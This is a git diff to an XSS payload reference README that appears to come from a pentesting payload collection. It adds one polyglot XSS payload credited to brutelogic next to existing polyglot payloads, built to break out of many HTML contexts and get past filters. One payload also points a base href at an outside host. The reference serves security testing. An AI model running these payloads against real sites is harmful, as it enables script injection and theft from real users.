diff --git a/XSS Injection/README.md b/XSS Injection/README.md
index 7f69397e..44b9b067 100644
--- a/XSS Injection/README.md	
+++ b/XSS Injection/README.md	
@@ -629,6 +629,11 @@ javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></st
 javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template>&lt;svg/onload='/*--><html */ onmouseover=alert()//'>`
 ```
 
+Polyglot XSS - from [brutelogic](https://brutelogic.com.br/blog/building-xss-polyglots/)
+```javascript
+JavaScript://%250Aalert?.(1)//'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76-->
+```
+
 ## Filter Bypass and exotic payloads
 
 ### Bypass case sensitive
